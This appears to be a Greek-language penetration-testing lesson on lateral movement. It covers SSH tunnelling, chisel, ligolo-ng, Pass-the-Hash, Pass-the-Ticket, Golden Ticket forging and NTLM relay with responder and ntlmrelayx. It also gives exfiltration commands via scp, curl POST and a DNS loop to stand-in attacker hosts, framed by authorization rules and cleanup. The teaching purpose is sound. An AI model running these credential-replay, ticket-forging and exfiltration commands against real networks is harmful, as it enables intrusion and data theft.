Skip to main content

Πλευρικές μετακινήσεις — Έννοιες

Έχετε μια μηχανή. Είναι ενδιαφέρουσα, αλλά δεν είναι ο θησαυρός. Ο θησαυρός βρίσκεται βαθύτερα: ο ελεγκτής domain, η βάση πελατών, η κονσόλα AWS. Αυτή την εβδομάδα, πηδάμε — από μηχανή σε μηχανή, διακριτικά, για να φτάσουμε στην αξία.

Υπενθύμιση

Οι τεχνικές αυτής της εβδομάδας είναι ανιχνεύσιμες. Σε πραγματικό pentest πελάτη, πρέπει να είναι ρητά εξουσιοδοτημένες από το RoE. Μια μη δηλωμένη πλευρική μετακίνηση = ένα περιστατικό, όχι ένα pentest.

Τι θα ξέρετε να κάνετε μετά από αυτό το μάθημα​

  • Διάκριση pivot, tunnel, relay, impersonation — τέσσερις διαφορετικές έννοιες.
  • Δημιουργία σηράγγων SSH και στις τρεις κατευθύνσεις (local, remote, dynamic).
  • Χρήση των chisel, ligolo-ng, sshuttle — πότε κάθε εργαλείο είναι καλύτερο.
  • Εκτέλεση Pass-the-Hash, Pass-the-Ticket, PsExec σωστά.
  • Εκτέλεση ενός SMB relay με το ntlmrelayx.
  • Εξαγωγή δεδομένων μέσω SSH, DNS, HTTPS — τηρώντας το RoE (ψεύτικα δεδομένα).
  • Καθαρισμός πίσω σας.

1. Το λεξιλόγιο — μην τα μπερδεύετε πια​

ΈννοιαΤι σημαίνει
PivotΧρήση μιας παραβιασμένης μηχανής ως δικτυακό αναμεταδότη προς άλλες.
TunnelΈνα κρυπτογραφημένο κανάλι που μεταφέρει κίνηση μέσω του pivot.
RelayΑναμετάδοση μιας πιστοποίησης (NTLM, Kerberos) από ένα θύμα προς ένα άλλο.
ImpersonationΑνάληψη της ταυτότητας ενός χρήστη χωρίς τον κωδικό πρόσβασής του (token, ticket).
Lateral movementΗ παραβίαση μιας νέας μηχανής ξεκινώντας από την πρώτη.
ExfiltrationΕξαγωγή δεδομένων από το περιβάλλον του θύματος.

Αυτές οι πέντε λέξεις καλύπτουν διαφορετικά πράγματα. Ένας pentester που τις μπερδεύει χάνει τις φράσεις του και χάνει τις ενέργειές του.


2. Οι σήραγγες SSH — η βάση όλων​

Τρεις μορφές. Μάθετε τις τρεις απ' έξω.

2.1. Local port forward (-L)​

«Στο σπίτι μου, μια τοπική θύρα που αξίζει όσο μια απομακρυσμένη θύρα.»

ssh -L 8080:10.1.1.20:80 pivot-user@pivot-host

Εσείς, στο localhost:8080, φτάνετε στη θύρα 80 του 10.1.1.20 — ακόμα κι αν το 10.1.1.20 είναι προσβάσιμο μόνο από το pivot-host.

Τυπική χρήση: πρόσβαση σε μια εσωτερική διεπαφή web (10.1.1.20:80 = ένα εσωτερικό πάνελ διαχείρισης).

2.2. Dynamic port forward (-D) — SOCKS5​

«Στο σπίτι μου, ένας proxy SOCKS. Ό,τι στέλνω εκεί βγαίνει από το pivot.»

ssh -D 1080 pivot-user@pivot-host

Στη συνέχεια στο /etc/proxychains4.conf:

socks5 127.0.0.1 1080

Τα εργαλεία σας:

proxychains -q nmap -sT -Pn 10.1.1.0/24
proxychains -q curl http://10.1.1.20/admin

Βγαίνουν από το pivot. Το tunnel SOCKS + proxychains είναι το τυπικό μοτίβο.

2.3. Remote port forward (-R)​

«Στη μεριά του στόχου, μια θύρα που ανεβαίνει προς εμένα.»

ssh -R 4444:localhost:22 attaquant@vps-attaquant

Χρήσιμο όταν είστε πίσω από NAT και θέλετε ο στόχος να συνδεθεί σε εσάς. Κλασικό σε red team με VPS επιτιθέμενου.

2.4. Η σημαία -fN — tunnel χωρίς shell​

ssh -fN -D 1080 pivot-user@pivot-host
  • -f: περνά στο παρασκήνιο.
  • -N: δεν εκτελεί εντολή, μόνο το port forward.

Το tunnel παραμένει, εσείς ανακτάτε τον έλεγχο.


3. chisel — όταν το SSH δεν είναι διαθέσιμο​

Σε έναν στόχο Windows χωρίς SSH, ή για tunnel HTTPS-through-firewall:

# Διακομιστής, στο Kali
chisel server -p 8000 --reverse

# Πελάτης, στον στόχο
chisel client 10.10.10.5:8000 R:socks

Ο στόχος ανοίγει ένα εξερχόμενο tunnel (τύπου HTTPS) προς το Kali σας, το οποίο εκθέτει ένα τοπικό SOCKS. Λειτουργεί μέσα από τα περισσότερα firewall εξερχομένων.

Κρυπτογραφημένη έκδοση με πιστοποίηση:

chisel server -p 8000 --reverse --auth pentest:mot-de-passe
chisel client --auth pentest:mot-de-passe https://pivot.attaquant.com R:1080:socks

4. ligolo-ng — το σύγχρονο pivot​

Το ligolo-ng είναι η αναφορά το 2026 για το pivoting. Δημιουργεί μια εικονική δικτυακή διεπαφή στην πλευρά του επιτιθέμενου που δρομολογεί απευθείας προς το παραβιασμένο εσωτερικό δίκτυο — χωρίς proxychains, όλα τα εργαλεία σας λειτουργούν εγγενώς.

Στην πλευρά του proxy (Kali):

sudo ip tuntap add user root mode tun ligolo
sudo ip link set ligolo up
./proxy -selfcert

Στον στόχο:

./agent -connect 10.10.10.5:11601 -ignore-cert

Στο proxy, ανοιχτή συνεδρία, πληκτρολογούμε:

ligolo » session
[Choose session 1]
[Agent] » start
[Agent] » ifconfig

Στη συνέχεια, στο Kali:

sudo ip route add 192.168.100.0/24 dev ligolo

Κάθε nmap, curl, smbclient, impacket-* προς 192.168.100.0/24 θα περάσει διαφανώς μέσω του στόχου. Τέλος τα proxychains.


5. sshuttle — το φτωχό VPN​

Χωρίς εγκατάσταση agent στον στόχο, με μόνο μια πρόσβαση SSH:

sshuttle -r pivot-user@pivot-host 10.1.1.0/24

Το sshuttle στήνει ένα tunnel SSH + έναν τοπικό κανόνα iptables που δρομολογεί το 10.1.1.0/24 μέσω αυτού του tunnel. Απλό, ελαφρύ, λειτουργεί παντού όπου λειτουργεί το SSH.


6. Pass-the-Hash (PtH) — Windows / SMB​

Στα Windows, μια πιστοποίηση SMB δεν χρειάζεται τον κωδικό πρόσβασης σε καθαρό κείμενο. Το hash NTLM αρκεί. Κλέψατε ένα hash στην ενότητα 9 με το hashdump; Χρησιμοποιήστε το ως έχει:

nxc smb 10.10.10.42 -u Administrator -H 8846f7eaee8fb117ad06bdd830b7586c

Ή με Impacket:

impacket-psexec -hashes :8846f7eaee8fb117ad06bdd830b7586c administrator@10.10.10.42

Το impacket-psexec ανοίγει ένα shell SYSTEM τοποθετώντας μια προσωρινή υπηρεσία στον στόχο. Το Impacket διαθέτει επίσης:

  • impacket-wmiexec — μέσω WMI (λιγότερα ίχνη από το psexec).
  • impacket-smbexec — μέσω SMB (συμβατό με XP/2003).
  • impacket-atexec — μέσω προγραμματισμένων εργασιών.

Κάθε εργαλείο έχει διαφορετικό αποτύπωμα. Σε καλά ρυθμισμένο EDR, το PsExec γίνεται αντιληπτό, το WMIexec περνά ακόμη συχνά, το atexec είναι το πιο διακριτικό.


7. Pass-the-Ticket (PtT) — Kerberos​

Το hash NTLM δεν χρησιμοποιείται πια παντού. Το Kerberos είναι το πρότυπο του AD. Ένα εισιτήριο TGT ή TGS αρκεί για πιστοποίηση.

Ανάκτηση ενός εισιτηρίου:

  • Από το Meterpreter, sekurlsa::tickets στο Mimikatz.
  • Από το Rubeus: Rubeus.exe dump /nowrap.

Χρήση ενός εισιτηρίου:

  • Σε Windows: Rubeus.exe ptt /ticket:<base64> στη συνέχεια dir \\dc\c$.
  • Σε Linux: export KRB5CCNAME=<ticket.ccache> στη συνέχεια impacket-secretsdump -k dc.acme.local.

Ένα εισιτήριο TGT επιτρέπει να ζητηθεί οποιοδήποτε TGS για οποιαδήποτε υπηρεσία — δηλαδή ολόκληρο το domain.


8. Golden Ticket — η απόλυτη persistence στο AD​

Έχετε το hash του krbtgt (τέλος ενότητας 9). Μπορείτε να πλαστογραφήσετε ένα αυθαίρετο TGT — για οποιονδήποτε χρήστη, οποιαδήποτε ομάδα, έγκυρο για 10 χρόνια εξ ορισμού.

impacket-ticketer \
-nthash <hash-krbtgt> \
-domain-sid S-1-5-21-... \
-domain acme.local \
Administrator

Έξοδος: Administrator.ccache — ένα εισιτήριο που σας κάνει να περάσετε για τον διαχειριστή του domain.

Χρήση:

export KRB5CCNAME=Administrator.ccache
impacket-secretsdump -k acme.local/administrator@dc.acme.local

Ηθικό πλαίσιο: η πλαστογράφηση ενός Golden Ticket σε pentest είναι πολύ παρεμβατική. Να γίνεται μόνο σε lab. Σε αποστολή, μόνο με ρητή εξουσιοδότηση και καταστροφή του εισιτηρίου στο τέλος της αποστολής (περιστροφή krbtgt × 2 — η μόνη πραγματική διόρθωση).


9. SMB Relay με ntlmrelayx​

Μια μαγική επίθεση. Δεν σπάτε ένα hash — αναμεταδίδετε μια πιστοποίηση.

Σενάριο:

  1. Ένας χρήστης συνδέεται σε ένα SMB share.
  2. Υποκλέπτετε την πρόκλησή του NTLM.
  3. Αναμεταδίδετε αυτή την πρόκληση σε έναν άλλο διακομιστή (αυτόν που δέχεται SMB με signing:false).
  4. Ο δεύτερος διακομιστής σας ανοίγει μια συνεδρία χωρίς κωδικό πρόσβασης.

Δύο εργαλεία:

responder — απαντά σε αιτήματα LLMNR/NBT-NS για να συλλάβει:

sudo responder -I eth0 -w -v

ntlmrelayx (Impacket) — αναμεταδίδει:

impacket-ntlmrelayx -tf targets.txt -smb2support --socks

Το targets.txt περιέχει τις IP που δέχονται SMB χωρίς signing. Όταν ένα θύμα πιστοποιείται μέσω του Responder, το ntlmrelayx αναμεταδίδει προς μια στοχευμένη μηχανή και ανοίγει πρόσβαση.

Προϋπόθεση: SMB signing απενεργοποιημένο στους στόχους (εξ ορισμού σε πολλούς διακομιστές).

Ισχυρό σήμα στην αναφορά: «Δείξαμε ότι ένας χρήστης που κάνει κλικ σε ένα ανύπαρκτο share επιτρέπει σε έναν επιτιθέμενο στο LAN να παραβιάσει τον διακομιστή αρχείων X χωρίς ποτέ να δει κωδικό πρόσβασης.»


10. Εσωτερική αναγνώριση — διακριτικά, παρακαλώ​

Μόλις ανοίξει το pivot, σαρώνουμε — αλλά διαφορετικά. Ένα nmap -T4 -p- από τα έξω σε ένα δημόσιο εύρος περνά. Σε ένα εταιρικό LAN, γονατίζει εκτυπωτές, συστήματα SCADA, παλιά αυτόματα.

Κανόνες:

  • -T2 κατ' ανώτατο όριο εσωτερικά.
  • Λίστα θυρών στοχευμένη: 22, 80, 135, 139, 443, 445, 1433, 1521, 3306, 3389, 5985, 8080.
  • Αποφυγή επιθετικών scripts NSE (--script vuln, --script intrusive).
  • Τμηματοποίηση ανά υποδίκτυο: μη σαρώνετε 10 υποδίκτυα παράλληλα.

Χρήσιμα εργαλεία σε αυτή τη φάση:

  • nxc smb <plage> --gen-relay-list targets.txt — απαριθμεί τις μηχανές με απενεργοποιημένο SMB signing.
  • nxc smb <plage> -u '' -p '' --shares — καταγράφει τα ανώνυμα προσβάσιμα shares.
  • impacket-lookupsid <dc-ip> — RID cycling σε ένα domain.

11. Η εξαγωγή δεδομένων — σε pentest, δεν εξάγουμε ποτέ πραγματικά δεδομένα​

Ο κανόνας: αποδεικνύουμε το κανάλι, δεν εξάγουμε τα πραγματικά δεδομένα του πελάτη.

Τι κάνουμε:

  1. Δημιουργούμε ένα εικονικό αρχείο: PROOF_OF_EXFIL_2026-08-14.txt.
  2. Το εξάγουμε μέσω του καναλιού που θέλουμε να αποδείξουμε.
  3. Τεκμηριώνουμε το κανάλι, όχι το περιεχόμενο.

Τρία κανάλια που πρέπει να γνωρίζετε:

11.1. SSH / SCP​

scp -P 443 fichier.txt attaquant@vps:/tmp/

Συχνά μπλοκαρισμένο σε σύγχρονες επιχειρήσεις (φιλτραρισμένο εξερχόμενο SSH).

11.2. HTTPS​

curl -X POST -F "file=@fichier.txt" https://vps-attaquant/receive

Σπάνια μπλοκαρισμένο (η εξερχόμενη κίνηση HTTPS επιτρέπεται εξ ορισμού).

11.3. DNS​

Το απόλυτο κανάλι. Κάθε δίκτυο επιτρέπει το εξερχόμενο DNS.

# Στο VPS του επιτιθέμενου, εκκινούμε έναν προσαρμοσμένο διακομιστή DNS.
# Ο στόχος στέλνει τα κωδικοποιημένα δεδομένα του σε υποτομείς:
for chunk in $(base64 fichier.txt | fold -w 60); do
dig +short $chunk.exfil.attaquant.com
done

Ο διακομιστής DNS ανασυνθέτει το fichier.txt από τα αιτήματα.

Πρακτικό εργαλείο: DNScat2 — αμφίδρομο tunnel μέσω DNS.

Ταχύτητα: 1-5 KB/s. Αργό, αλλά αντιληπτικά αόρατο στα logs δικτύου.


12. Καθαρισμός πίσω σας — δεν διαπραγματεύεται​

Στο τέλος μιας αποστολής, το περιβάλλον πρέπει να είναι ακριβώς στην κατάσταση που το βρήκατε (εκτός από την αναφορά, βεβαίως).

Λίστα ελέγχου:

  • Δημιουργημένοι λογαριασμοί: διαγραμμένοι (με επιβεβαίωση του πελάτη).
  • Τοποθετημένες υπηρεσίες: σταματημένες και απεγκατεστημένες.
  • Προστιθέμενα κλειδιά SSH: αφαιρεμένα από το authorized_keys.
  • Persistences Meterpreter: καταγεγραμμένες και εξουδετερωμένες.
  • Golden Tickets: καταστραμμένα· σύσταση περιστροφής krbtgt × 2 στον πελάτη.
  • Τοποθετημένα αρχεία: καταγεγραμμένα στην αναφορά, σχέδιο διαγραφής.
  • Backdoors: κανένα δεν πρέπει να παραμείνει. Κανένα. Ένας pentester που αφήνει ένα backdoor είναι ένας απολυμένος pentester.

Μια σοβαρή αναφορά pentest καταγράφει, σε παράρτημα, κάθε τοποθετημένο ίχνος και κάθε ενέργεια καθαρισμού.


13. Τι πρέπει να θυμάστε​

  • Pivot, tunnel, relay, impersonation — τέσσερα διαφορετικά πράγματα.
  • SSH -L / -D / -R απ' έξω.
  • Το ligolo-ng είναι το καλύτερο εργαλείο pivoting το 2026.
  • Τα Pass-the-Hash και Pass-the-Ticket καθιστούν το σπάσιμο συχνά περιττό.
  • Το SMB Relay με ntlmrelayx = καθοριστική επίθεση το 2026.
  • Εσωτερική αναγνώριση: -T2, στοχευμένες θύρες.
  • Εξαγωγή δεδομένων: ψεύτικα δεδομένα, αποδεδειγμένο κανάλι (DNS το απόλυτο).
  • Καθαρίστε πίσω σας. Πάντα.

Επόμενο μάθημα: ξαναπαίζουμε τα πάντα στο lab — pivot ligolo, pass-the-hash σε τρεις μηχανές, εξαγωγή δεδομένων DNS με αρχείο επίδειξης.